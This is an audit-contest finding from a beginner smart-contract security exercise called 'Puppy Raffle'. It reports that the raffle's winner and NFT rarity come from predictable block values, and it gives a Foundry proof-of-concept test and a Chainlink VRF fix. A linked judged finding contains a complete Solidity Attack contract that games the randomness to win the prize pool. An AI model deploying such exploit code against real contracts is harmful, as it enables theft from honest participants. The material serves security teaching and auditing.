Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Predictable on-chain randomness in `selectWinner()` allows a participant to influence or predict both the winner and the NFT rarity

0xj3d1

Root + Impact

Description

  • The raffle is supposed to pick a winner and an NFT rarity that no participant can predict or control.

  • Both values are derived from msg.sender, block.timestamp, and block.difficulty (block.prevrandao post-Merge) — all of which are known to, or influenceable by, the caller at the moment of the transaction. A participant can compute the outcome off-chain and only call selectWinner() when it favors them, and validators can influence the inputs.

@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood:

  • Occurs every time selectWinner() is callable: any participant can pre-compute the result for the current block and choose to call only when they win, or vary msg.sender (by routing through different addresses/contracts) until an address that wins is found.

  • Occurs whenever a block proposer has a stake in the outcome, since they control block.timestamp within tolerance and influence prevrandao.

Impact:

  • A motivated participant wins the prize pool and obtains the rarest NFT tier at will, defeating the raffle's fairness guarantee.

  • Honest participants are systematically deprived of any real chance to win.

Proof of Concept

The result is a pure function of values known before the call, so it can be reproduced exactly:

function test_winner_is_predictable() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
// anyone can compute this off-chain before calling
uint256 predicted =
uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % 4;
​
puppyRaffle.selectWinner();
assertEq(puppyRaffle.previousWinner(), players[predicted]);
}

Recommended Mitigation

Use a verifiable randomness source whose output is not known at call time, such as Chainlink VRF. Request randomness in one transaction and finalize the winner in the VRF callback:

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // request randomness from Chainlink VRF; in fulfillRandomWords:
+ uint256 winnerIndex = randomWords[0] % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 22 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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